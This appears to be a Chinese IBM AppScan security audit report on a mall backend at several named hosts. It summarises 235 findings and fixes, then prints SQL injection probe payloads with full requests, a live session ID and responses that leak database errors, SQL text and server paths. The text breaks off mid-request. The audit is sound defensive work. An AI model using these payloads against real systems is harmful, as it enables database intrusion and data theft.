

资源商城后台安全性审计测试报告

该报告包含有关 web 应用程序的重要安全信息。

安全报告

该报告由 IBM Security AppScan Standard 创建 9.0.3.7 iFix001, 规则: 12526 扫描开始时间: 2018/1/11 19:02:56

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按问题类型分类的问题

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修订建议

- 发送敏感信息时,始终使用 SSL 和 POST (主体)参数。
- 应用 WebSphere 修订 PI62375
- 查看危险字符注入的可能解决方案
- 将您的服务器配置为仅允许所需 HTTP 方法
- 修改"Access-Control-Allow-Origin"头以仅获取允许的站点
- 将"autocomplete"属性正确设置为"off"
- 将您的服务器配置为使用"Content-Security-Policy"头
- 将您的服务器配置为使用"X-Content-Type-Options"头
- 将您的服务器配置为使用"X-XSS-Protection"头
- 将每个第三方脚本/链接元素支持添加到 SRI(Subresource Integrity)。
- 检查链接,确定它是否确实本应包含在 Web 应用程序中
- 请勿接受在查询字符串中发送的主体参数
- 除去 HTML 注释中的敏感信息
- 除去 Web 站点中的内部 IP 地址
- 验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

咨询

- IBM WebSphere "WASPostParam" Cookie 反序列号拒绝服务
- SQL 注入
- 已解密的登录请求
- 查询中的密码参数
- 跨站点脚本编制
- 使用 HTTP 动词篡改的认证旁路
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- 链接注入 (便于跨站请求伪造)
- SRI 支持
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- 过度许可的 CORS 访问测试
- HTML 注释敏感信息泄露
- JSON 中反映了未清理的用户输入
- 发现内部 IP 泄露模式
- 应用程序错误
- 整数溢出
- 未分类站点的链接

介绍

该报告包含由 IBM Security AppScan Standard 执行的 Web 应用程序安全性扫描的结果。

高严重性问题: 25 中等严重性问题: 40 低严重性问题: 82 参考严重性问题: 88 报告中包含的严重性问题总数: 235 扫描中发现的严重性问题总数: 235

常规信息

扫描文件名称: ziysc_houtai011 扫描开始时间: 2018/1/11 19:02:56 测试策略: Default (已修改)

主机 system-rest-enterprise.mall.xt.weilian.cn

 端口
 0

 操作系统:
 未知

 Web 服务器:
 未知

 应用程序服务器:
 任何

主机 h5config-rest-enterprise.mall.xt.weilian.cn

 端口
 0

 操作系统:
 未知

 Web 服务器:
 未知

 应用程序服务器:
 任何

主机 vr-goods-rest-enterprise.mall.xt.weilian.cn

端口0操作系统:未知Web 服务器:未知应用程序服务器:任何

主机 vr-base-rest-enterprise.mall.xt.weilian.cn

 端口
 0

 操作系统:
 未知

 Web 服务器:
 未知

 应用程序服务器:
 任何

主机 cms.mall.xt.weilian.cn

 端口
 0

 操作系统:
 未知

 Web 服务器:
 未知

 应用程序服务器:
 任何

登陆设置

 登陆方法:
 记录的登录

 并发登陆:
 已启用

 JavaScript 执行文件:
 已启用

 会话中检测:
 己启用

会话中模式: classname":"家具用具及其他|opcode":"WERDHGF

跟踪或会话标识 cookie: sessionId

跟踪或会话标识参数:

登陆序列:

http://system-rest-enterprise.mall.xt.weilian.cn/
http://system-rest-enterprise.mall.xt.weilian.cn/login

http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html

http://system-rest-

enterprise.mall.xt.weilian.cn/static/js/getCommonConfig.js

http://system-rest-enterprise.mall.xt.weilian.cn/static/js/style.js

http://system-rest-

enterprise.mall.xt.weilian.cn/static/js/commons.js

http://system-rest-

enterprise.mall.xt.weilian.cn/static/js/dictionaryInit.js

http://system-rest-

enterprise.mall.xt.weilian.cn/user/getModularPrefix

http://system-rest-

enterprise.mall.xt.weilian.cn/user/getUserRealMenuList

http://system-rest-

enterprise.mall.xt.weilian.cn/static/component_pages/dashboard.html
http://vr-goods-rest-enterprise.mall.xt.weilian.cn/static/goods.html
http://vr-goods-rest-enterprise.mall.xt.weilian.cn/static/goods.html

http://vr-goods-rest-

enterprise.mall.xt.weilian.cn/goodsRestApi/goodsList?

draw=1&start=0&length=15&search[value]=&search[regex]=false&pageNum=

1&searchValue=

http://vr-goods-rest-

enterprise.mall.xt.weilian.cn/goodsRestApi/goodsList?

 $\verb|draw=1&start=0&length=15&search[value]=&search[regex]=false&pageNum=1&search[regex]=false&pa$

1&searchValue=
http://system-rest-

enterprise.mall.xt.weilian.cn/user/getModularPrefix

摘要

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	问题类型	问题的数量
高	IBM WebSphere "WASPostParam" Cookie 反序列化拒绝服务	1
高	SQL 注入	1
高	已解密的登录请求	1
高	查询中的密码参数	1
高	跨站点脚本编制	21
中	使用 HTTP 动词篡改的认证旁路	18
	通过框架钓鱼	11
	链接注入(便于跨站请求伪造)	11
低	SRI (Subresource Integrity) 的检查	3
	发现数据库错误模式	11
	查询中接受的主体参数	1
	缺少"Content-Security-Policy"头	4
	缺少"X-Content-Type-Options"头	4
	缺少"X-XSS-Protection"头	4
	自动填写未对密码字段禁用的 HTML 属性	4
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URL	问题的数量
UKL	

高	http://cms.mall.xt.weilian.cn/upload	3	
高	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsListToBrand	4	
高	http://system-rest-enterprise.mall.xt.weilian.cn/login.html	6	
高	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/0	1 1	
高	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/2	1 1	
高	http://system-rest-enterprise.mall.xt.weilian.cn/user/userModify	5	
高	http://vr-base-rest-enterprise.mall.xt.weilian.cn/pubRole/selectVipRoleList	6	
高	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/exportGoodsInfo	2	
高	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGood sStockList	1 9	
高	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/goodsbatchDelete	4	
高	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/updateG oodsStock	1 0	
高	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/goodsclass AddToSave	8	
高	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsonoffdetail/update GoodsOnOff	1 0	
中	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/jquery- 1.7.2.min.js	2	
中	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/lay/modules/element.js	2	
中	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/lay/modules/form.js	2	
中	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/lay/modules/laypage.js	2	
中	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/lay/modules/laytpl.js	2	
中	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/lay/modules/table.js	2	
中	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/layui.js	2	
中	http://system-rest-enterprise.mall.xt.weilian.cn/	2 7	
中	http://system-rest-enterprise.mall.xt.weilian.cn/static/component_pages/dashboard.html	2	
中	http://system-rest-enterprise.mall.xt.weilian.cn/static/component_pages/modify_password.html	3	
中	http://system-rest-enterprise.mall.xt.weilian.cn/static/component_pages/personal_settings.html	3	
中	http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html	8	
中	http://system-rest-enterprise.mall.xt.weilian.cn/static/js/commons.js	2	
中	http://system-rest-enterprise.mall.xt.weilian.cn/static/js/dictionaryInit.js	2	
中	http://system-rest-enterprise.mall.xt.weilian.cn/static/js/getCommonConfig.js	2	
中	http://system-rest-enterprise.mall.xt.weilian.cn/static/js/style.js	2	

中	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/static/goodscontrolList.html	5	
中	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/static/goodstree.html	5	
低	http://system-rest-enterprise.mall.xt.weilian.cn/login	4	
低	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/goodsclass Add	5	
低	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/goodsclass List	6	
低	http://vr-base-rest-enterprise.mall.xt.weilian.cn/ditionary/List	4	
低	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/updateSendGoods	2	
低	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html	1	I
低	http://system-rest-enterprise.mall.xt.weilian.cn/user/getModularPrefix	2	
低	http://system-rest-enterprise.mall.xt.weilian.cn/user/getUserInfo	1	
低	http://system-rest-enterprise.mall.xt.weilian.cn/user/getUserRealMenuList	1	I
低	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/batchImportGood	2	
低	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/checkGoodscodelsNotOne	1	I
低	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getUserInfo	1	I
低	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/goodsAddToSave	4	
低	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/goodsList	1	I
低	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/initTreeNode	1	I
低	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsonoffdetail/getdet ailList	2	
低	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/pictrue/getGoodsPictrue List	1	I
低	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/pubApprovalType/select List	1	I
低	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/pubGoodsgsbm/selectList	1	I
低	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/pubGoodslevel/selectList	1	<u> </u>

修订建议 15

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修复任务	问题的数量
高 发送敏感信息时,始终使用 SSL 和 POST (主体)参数。	2
高 应用 WebSphere 修订 PI62375	1
高 查看危险字符注入的可能解决方案	58

中	将您的服务器配置为仅允许所需 HTTP 方法	18	
低	修改"Access-Control-Allow-Origin"头以仅获取允许的站点	51	
低	将"autocomplete"属性正确设置为"off"	4	
低	将您的服务器配置为使用"Content-Security-Policy"头	4	
低	将您的服务器配置为使用"X-Content-Type-Options"头	4	
低	将您的服务器配置为使用"X-XSS-Protection"头	4	
低	将每个第三方脚本/链接元素支持添加到 SRI(Subresource Integrity)。	3	
低	检查链接,确定它是否确实本应包含在 Web 应用程序中	19	
低	请勿接受在查询字符串中发送的主体参数	1	
低	除去 HTML 注释中的敏感信息	6	
低	除去 Web 站点中的内部 IP 地址	1	
低	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常	59	

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	风险	问题的数量
高	可能会在 Web 服务器上运行远程命令。这通常意味着完全破坏服务器及 其内容	1
高	可能会阻止 Web 应用程序服务其他用户(拒绝服务)	1
高	可能会查看、修改或删除数据库条目和表	12
高	可能会窃取诸如用户名和密码等未经加密即发送了的用户登录信息	1
高	可能会窃取查询字符串中发送的敏感数据,例如用户名和密码	1
高	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务	35
中	可能会升级用户特权并通过 Web 应用程序获取管理许可权	18
中	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置	89
中	可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等 敏感信息	86
中	可能会在 Web 服务器上上载、修改或删除 Web 页面、脚本和文件	11
低	在第三方服务器被破坏的情况下,站点的内容/行为将更改。	3
低	可能会绕开 Web 应用程序的认证机制	4
参	可能会收集敏感的调试信息	59
参	不适用	19

原因 10 TOC

	原因	问题的数量
高	Web 站点上安装了没有已知补丁且易受攻击的第三方软件	1
高	未对用户输入正确执行危险字符清理	58
高	诸如用户名、密码和信用卡号之类的敏感输入字段未经加密即进行了传 递	1
高	查询字符串中传递了敏感输入字段(例如用户名、密码和信用卡号)	1
中	Web 应用程序编程或配置不安全	87
低	不支持子资源完整性。	3
参	程序员在 Web 页面上留下调试信息	6
参	未对入局参数值执行适当的边界检查	59
参	未执行验证以确保用户输入与预期的数据类型匹配	59
参	不适用	19

WASC 威胁分类

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威胁	问题的数量
SQL 注入	12
传输层保护不足	1
信息泄露	119
内容电子欺骗	22
恶意内容测试	19
操作系统命令	1
整数溢出	16
认证不充分	18
跨站点脚本编制	24
远程文件包含	3

按问题类型分类的问题

IBM WebSphere "WASPostParam" Cookie 反序列化拒绝服务 ①

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问题 1 / 1 roc

IBM WebSphere "WASPostParam" Cookie 反序列化拒绝服务		
严重性:	高	
CVSS 分数:	10.0	
URL:	http://cms.mall.xt.weilian.cn/upload	
实体:	upload (Page)	
风险:	可能会在 Web 服务器上运行远程命令。这通常意味着完全破坏服务器及其内容可能会阻止 Web 应用程序服务其他用户(拒绝服务)	
原因:	Web 站点上安装了没有已知补丁且易受攻击的第三方软件	
固定值:	应用 WebSphere 修订 PI62375	

差异: cookie 已添加至请求:

推理: 测试导致服务器停止响应(返回了诸如断开连接或超时之类的错误响应)。 **测试请求和响应:**

此请求/响应中包含二进制内容,但生成的报告中不包含此内容。

SQL 注入 1

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问题 **1 / 1** Toc

SQL 注入		
严重性:	高	
CVSS 分数:	9.7	
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsListToBrand	
实体:	keyword (Parameter)	
风险:	可能会查看、修改或删除数据库条目和表	
原因:	未对用户输入正确执行危险字符清理	
固定值:	查看危险字符注入的可能解决方案	

变体-|1/10

差异: 参数 从以下位置进行控制: dsfdsafsa 至: dsfdsafsa%27%3B

推理: 测试结果似乎指示存在脆弱性,因为响应包含 SQL Server 错误。这表明测试设法通过注

入危险字符穿透了应用程序并到达 SQL 查询本身。

测试请求和响应:

```
GET /goodsRestApi/getGoodsListToBrand?keyword=dsfdsafsa%27%3B HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1 1 200 ОК
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:21:07 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
 "returnCode": 0,
 "msg": "org.springframework.jdbc.BadSqlGrammarException: \n### Error querying database.
Cause: org.postgresql.util.PSQLException: ERROR: syntax error at or near \";\"\n Position:
122\n### The error may exist in URL [jar:file:/apps/provider/base/vr-base-provider-1.0.0-
SNAPSHOT.jar!/mybatisMap/PubBrandMapper.xml]\n### The error may involve
com.suneee.scn.base.dao.PubBrandDao.selectByParam-Inline\n### The error occurred while setting
parameters\n### SQL: select * from pub brand f where 1=1 and status=1 and enterpriseid=55 and
(to char(f.brandid ,'9999999') like '%dsfdsafsa';%' or f.opcode like '%dsfdsafsa';%' or
f.brandname like '%dsfdsafsa';%')\n### Cause: org.postgresql.util.PSQLException: ERROR: syntax
error at or near \";\"\n Position: 122\n; bad SQL grammar []; nested exception is
org.postgresql.util.PSQLException: ERROR: syntax error at or near \";\"\n Position: 122",
 "html": null
```

变体-|2/10

差异: 参数 从以下位置进行控制: dsfdsafsa 至: dsfdsafsa%27+having+1%3D1--+

推理: 测试结果似乎指示存在脆弱性,因为响应包含 SQL Server 错误。这表明测试设法通过注入危险字符穿透了应用程序并到达 SQL 查询本身。

测试请求和响应:

```
GET /goodsRestApi/getGoodsListToBrand?keyword=dsfdsafsa%27+having+1%3D1--+ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openrestv
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:21:07 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
 "msg": "org.springframework.jdbc.BadSqlGrammarException: \n### Error querying database.
Cause: org.postgresql.util.PSQLException: ERROR: syntax error at or near \"having\"\n Position:
123\n### The error may exist in URL [jar:file:/apps/provider/base/vr-base-provider-1.0.0-
{\tt SNAPSHOT.jar!/mybatisMap/PubBrandMapper.xml] \ \ \ } \\ {\tt The error may involve}
com.suneee.scn.base.dao.PubBrandDao.selectByParam-Inline\n### The error occurred while setting
parameters\n\#\# SQL: select * from pub brand f where 1=1 and status=1 and enterpriseid=55 and
(to char(f.brandid ,'9999999') like '%dsfdsafsa' having 1=1-- %' or f.opcode like '%dsfdsafsa'
having 1=1-- %' or f.brandname like '%dsfdsafsa' having 1=1-- %')\n### Cause:
org.postgresql.util.PSQLException: ERROR: syntax error at or near \"having\"\n Position: 123\n;
bad SQL grammar []; nested exception is org. postgresql.util.PSQLException: ERROR: syntax error at
or near \"having\"\n Position: 123",
 "html": null
```

变体-|3/10

差异: 参数 从以下位置进行控制: dsfdsafsa 至: dsfdsafsa%a5'%20having%201=1--%20

推理: 测试结果似乎指示存在脆弱性,因为响应包含 SQL Server 错误。这表明测试设法通过注入危险字符穿透了应用程序并到达 SQL 查询本身。

测试请求和响应:

```
GET /goodsRestApi/getGoodsListToBrand?keyword=dsfdsafsa%a5'%20having%201=1--%20 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1 1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:21:07 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
 "returnCode" · 0.
 "msg": "org.springframework.jdbc.BadSqlGrammarException: \n### Error querying database.
Cause: org.postgresql.util.PSQLException: ERROR: syntax error at or near \"having\"\n Position:
124\n### The error may exist in URL [jar:file:/apps/provider/base/vr-base-provider-1.0.0-
SNAPSHOT.jar!/mybatisMap/PubBrandMapper.xml]\n### The error may involve
com.suneee.scn.base.dao.PubBrandDao.selectByParam-Inline\n### The error occurred while setting
parameters\n### SQL: select * from pub brand f where 1=1 and status=1 and enterpriseid=55 and
(to char(f.brandid ,'9999999') like '%dsfdsafsa�' having 1=1-- %' or f.opcode like
'%dsfdsafsa lacktriangle ' having 1=1-- %' or f.brandname like '%dsfdsafsa lacktriangle ' having 1=1-- %')\n### Cause:
org. postgresql.util.PSQLException: ERROR: syntax error at or near \"having\"\n Position: 124\n;
bad SQL grammar []; nested exception is org. postgresql.util.PSQLException: ERROR: syntax error at
or near \"having\"\n Position: 124",
 "html": null
```

变体-|4/10

差异: 参数 从以下位置进行控制: dsfdsafsa 至: dsfdsafsa'

推理: 测试结果似乎指示存在脆弱性,因为响应包含 SQL Server 错误。这表明测试设法通过注入危险字符穿透了应用程序并到达 SQL 查询本身。

测试请求和响应:

```
GET /goodsRestApi/getGoodsListToBrand?keyword=dsfdsafsa' HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1 1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
```

```
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:21:07 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
 "msg": "org.springframework.jdbc.BadSqlGrammarException: \n### Error querying database.
Cause: org. postgresql.util. PSQLException: ERROR: unterminated quoted string at or near \"')\"\n
Position: 190\n### The error may exist in URL [jar:file:/apps/provider/base/vr-base-provider-
{\tt 1.0.0-SNAPSHOT.jar!/mybatisMap/PubBrandMapper.xml] \\ {\tt n\#\#\# \ The \ error \ may \ involve} \\
com.suneee.scn.base.dao.PubBrandDao.selectByParam-Inline\n### The error occurred while setting
parameters
 \ SQL: select * from pub_brand f where 1=1 and status=1 and enterpriseid=55 and
(to char(f.brandid ,'9999999') like '^{\circ}dsfdsafsa'^{\circ}' or f.opcode like '^{\circ}dsfdsafsa'^{\circ}' or f.brandname
like '%dsfdsafsa'%')\n### Cause: org.postgresql.util.PSQLException: ERROR: unterminated quoted
string at or near \"')\"\n Position: 190\n; bad SQL grammar []; nested exception is org.postgresql.util.PSQLException: ERROR: unterminated quoted string at or near \"')\"\n
Position: 190",
 "html": null
```

变体-|5/10

差异: 参数 从以下位置进行控制: dsfdsafsa 至: dsfdsafsa \$27+having+1 \$3D1--

推理: 测试结果似乎指示存在脆弱性,因为响应包含 SQL Server 错误。这表明测试设法通过注入危险字符穿透了应用程序并到达 SQL 查询本身。

测试请求和响应:

```
GET /goodsRestApi/getGoodsListToBrand?keyword=dsfdsafsa%27+having+1%3D1-- HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01 Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:21:07 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
 "returnCode": 0,
 "msg": "org.springframework.jdbc.BadSqlGrammarException: \n### Error querying database.
Cause: org.postgresql.util.PSQLException: ERROR: syntax error at or near \"having\"\n Position:
123\n### The error may exist in URL [jar:file:/apps/provider/base/vr-base-provider-1.0.0-
SNAPSHOT.jar!/mybatisMap/PubBrandMapper.xml]\n### The error may involve
parameters n\#\# SQL: select * from pub brand f where 1=1 and status=1 and enterprise id=55 and
(to char(f.brandid ,'9999999') like '%dsfdsafsa' having 1=1--%' or f.opcode like '%dsfdsafsa'
```

```
having 1=1--%' or f.brandname like '%dsfdsafsa' having 1=1--%')\n### Cause:
org.postgresql.util.PSQLException: ERROR: syntax error at or near \"having\"\n Position: 123\n;
bad SQL grammar []; nested exception is org.postgresql.util.PSQLException: ERROR: syntax error at
or near \"having\"\n Position: 123",
   "html": null
}
```

变体-|6/10

差异: 参数 从以下位置进行控制: dsfdsafsa 至:

dsfdsafsa%27%3B+select+%40%40version%2C1%2C1--

推理: 测试结果似乎指示存在脆弱性,因为响应包含 SQL Server 错误。这表明测试设法通过注入危险字符穿透了应用程序并到达 SQL 查询本身。

测试请求和响应:

```
GET /goodsRestApi/getGoodsListToBrand?keyword=dsfdsafsa%27%3B+select+%40%40version%2C1%2C1%--
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1 1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:21:07 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
 "returnCode": 0,
 "msg": "org.springframework.jdbc.BadSqlGrammarException: \n### Error querying database.
Cause: org.postgresql.util.PSQLException: ERROR: syntax error at or near \";\"\n Position:
122\n### The error may exist in URL [jar:file:/apps/provider/base/vr-base-provider-1.0.0-
SNAPSHOT.jar!/mybatisMap/PubBrandMapper.xml]\n### The error may involve
com.suneee.scn.base.dao.PubBrandDao.selectByParam-Inline\n### The error occurred while setting
parameters\n### SQL: select * from pub brand f where 1=1 and status=1 and enterpriseid=55 and
(to_char(f.brandid ,'9999999') like '%dsfdsafsa'; select @@version,1,1,1--%' or f.opcode like
'%dsfdsafsa'; select @@version,1,1,1--%' or f.brandname like '%dsfdsafsa'; select
@@version,1,1,1--%')\n### Cause: org.postgresql.util.PSQLException: ERROR: syntax error at or
near \";\"\n Position: 122\n; bad SQL grammar []; nested exception is
org.postgresql.util.PSQLException: ERROR: syntax error at or near \";\"\n Position: 122",
 "html": null
```

变体- | 7 / 10

差异: 参数 从以下位置进行控制: dsfdsafsa 至:

dsfdsafsa%27%3B+select+*+from+master..sysmessages--

推理: 测试结果似乎指示存在脆弱性,因为响应包含 SQL Server 错误。这表明测试设法通过注入危险字符穿透了应用程序并到达 SQL 查询本身。

测试请求和响应:

```
GET /goodsRestApi/getGoodsListToBrand?keyword=dsfdsafsa%27%3B+select+*+from+master..sysmessages--
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
{\tt Access-Control-Allow-Headers:} \ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:21:07 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
 "returnCode". 0.
 "msg": "org.springframework.jdbc.BadSqlGrammarException: \n### Error querying database.
Cause: org.postgresql.util.PSQLException: ERROR: syntax error at or near \";\"\n Position:
122\n### The error may exist in URL [jar:file:/apps/provider/base/vr-base-provider-1.0.0-
SNAPSHOT.jar!/mybatisMap/PubBrandMapper.xml]\n### The error may involve
com.suneee.scn.base.dao.PubBrandDao.selectByParam-Inline\n### The error occurred while setting
parameters\n### SQL: select * from pub brand f where 1=1 and status=1 and enterpriseid=55 and
(to char(f.brandid ,'9999999') like '%dsfdsafsa'; select * from master..sysmessages--%' or
f.opcode like '%dsfdsafsa'; select * from master..sysmessages--%' or f.brandname like
'%dsfdsafsa'; select * from master..sysmessages--%'\\n### Cause: org.postgresql.util.PSQLException: ERROR: syntax error at or near \";\"\n Position: 122\n; bad
SQL grammar []; nested exception is org. postgresql.util.PSQLException: ERROR: syntax error at or
near \";\"\n Position: 122",
 "html": null
```

变体- | 8 / 10

差异: 参数 从以下位置进行控制: dsfdsafsa 至:

dsfdsafsa%27%3B+select+*+from+dbo.sysdatabases--

推理: 测试结果似乎指示存在脆弱性,因为响应包含 SQL Server 错误。这表明测试设法通过注入危险字符穿透了应用程序并到达 SQL 查询本身。

测试请求和响应:

```
GET /goodsRestApi/getGoodsListToBrand?keyword=dsfdsafsa%27%3B+select+*+from+dbo.sysdatabases--
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
```

```
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
